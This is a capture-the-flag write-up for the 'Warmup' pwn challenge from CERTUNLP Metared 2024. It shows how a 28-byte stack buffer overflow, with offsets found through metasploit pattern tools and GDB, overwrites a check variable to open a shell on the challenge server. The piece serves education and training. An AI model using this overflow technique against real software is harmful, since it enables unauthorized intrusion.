Writeup for CERTUNLP Metared 2024 CTF Pwn challenge Warmup
Hello and welcome back to another writeup. Today, we are solving the Pwn challenge Warmup for CERTUNLP Metared 2024 CTF. This was an interesting challenge which exploited a buffer overflow vulnerability. Let's get started!
The challenge gave us two files, a C source code reto.c and an ELF file reto which is just the compiled version of reto.c. As we have the source code, this challenge might be pretty easy. Let's look at reto.c first.
We have an initialised variable check and another variable buf where a buffer of length 20 is assigned. Then we have an fgets function which takes some user input and puts it into buf. There's one thing to note though, fgets can accept upto 45 characters however the buffer assigned to buf is just 20. This might be a case of simple buffer overflow.
Moving on, there's a conditional check which prints Clooosse! if check is not equal to either 0x12345678 or 0x54524543. This condition is checking for buffer overflow because if the buffer overflows into check it will overwrite the data inside check i.e. 0x12345678.
Another condition looks for the data 0x54524543 inside check and if it returns True, we get a shell! Great, so this is what we have to do. But, first we have to find the correct offset for buf and after the offset point, we can manipulate the check variable.
As buf is assigned the length of 20, I will first generate a payload of 30 characters and see what happens.
┌──(kali㉿kali)-[~/Documents/cert]└─$/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l30>pattern.txt┌──(kali㉿kali)-[~/Documents/cert]└─$gdb-qretoGEFforlinuxready,type`gef' to start, `gef config'toconfigure93commandsloadedand5functionsaddedforGDB13.2in0.01msusingPythonengine3.11Readingsymbolsfromreto...(Nodebuggingsymbolsfoundinreto)gef➤run<pattern.txtStartingprogram:/home/kali/Documents/cert/reto<pattern.txt[Thread debugging using libthread_db enabled]Usinghostlibthread_dblibrary "/lib/x86_64-linux-gnu/libthread_db.so.1".[buf]: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9[check] 0xa3961Clooosse![Inferior 1 (process 61005) exited normally]gef➤
What we are doing here is generating a payload of 30 characters and running the program inside GDB with the payload as an argument. We can see that the check variable is overwritten with 0xa3961. Let's examine this data with metasploit and see if we can figure out the offset.
┌──(kali㉿kali)-[~/Documents/cert]└─$/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb-q0xa3961[*] No exact matches, looking for likely candidates...[+] Possible match at offset 28 (adjusted [ little-endian:-1647771648|big-endian:-1630472193] )[+] Possible match at offset 808 (adjusted [ little-endian:-1647837184|big-endian:-1630472449] )[+] Possible match at offset 1588 (adjusted [ little-endian:-1647902720|big-endian:-1630472705] )[+] Possible match at offset 2368 (adjusted [ little-endian:-1647968256|big-endian:-1630472961] )[+] Possible match at offset 3148 (adjusted [ little-endian:-1648033792|big-endian:-1630473217] )[+] Possible match at offset 3928 (adjusted [ little-endian:-1648099328|big-endian:-1630473473] )[+] Possible match at offset 4708 (adjusted [ little-endian:-1648164864|big-endian:-1630473729] )[+] Possible match at offset 5488 (adjusted [ little-endian:-1648230400|big-endian:-1630473985] )[+] Possible match at offset 6268 (adjusted [ little-endian:-1648295936|big-endian:-1630474241] )[+] Possible match at offset 7048 (adjusted [ little-endian:-1648361472|big-endian:-1630474497] )[+] Possible match at offset 7828 (adjusted [ little-endian:-1648427008|big-endian:-1630474753] )
metasploit did not respond with an exact match but there are several possible matches. Other matches in the list have very high offset. Luckily, we know the buf variable has a buffer of 20 thus, I will check the offset of 28. Let's generate another payload. This time I will use python and generate a static payload instead of a pattern.
Great! We see that the check variable is overwritten with exactly 4 'B' characters. (The hexadecimal representation of 'B' is 0x42)
Now that we know the offset, we can start crafting our payload that will grant us that shell. We know that for the program to drop us inside a shell, the check variable should have the data 0x54524543. But, because of the Little Endian order where the least significant byte is written first, we need to reverse these characters in our payload.
Let's go back to python:
┌──(kali㉿kali)-[~/Documents/cert]└─$python3Python3.11.9 (main, Apr102024,13:16:36) [GCC 13.2.0] on linuxType"help","copyright","credits"or"license"formoreinformation.>>> payload='A'*28+'\x43\x45\x52\x54'>>> withopen("payload.txt","w") asf:...f.write(payload)...32>>>
Moment of truth! Let's run the program with payload:
┌──(kali㉿kali)-[~/Documents/cert]└─$gdb-qretoGEFforlinuxready,type`gef' to start, `gef config'toconfigure93commandsloadedand5functionsaddedforGDB13.2in0.01msusingPythonengine3.11Readingsymbolsfromreto...(Nodebuggingsymbolsfoundinreto)gef➤run<payload.txtStartingprogram:/home/kali/Documents/cert/reto<payload.txt[Thread debugging using libthread_db enabled]Usinghostlibthread_dblibrary "/lib/x86_64-linux-gnu/libthread_db.so.1".[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT[check] 0x54524543Yeah!!Youwin![Detaching after vfork from child process 66691]Byee![Inferior 1 (process 66685) exited normally]gef➤
Et voila! Here we have the perfect payload. The only thing left to do now is send this to the actual CTF server. Here's my final payload written in python.
┌──(kali㉿kali)-[~/Documents/cert]└─$python3exploit.py[+] Opening connection to warmup.ctf.cert.unlp.edu.ar on port 35000: Done[*] Switching to interactive mode[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT[check] 0x54524543Yeah!!Youwin!Byee!$lsflag.txt$catflag.txtflag{*********}
And, Warmup is pwned! Thank you for reading and I will see you in the next writeup. Adios!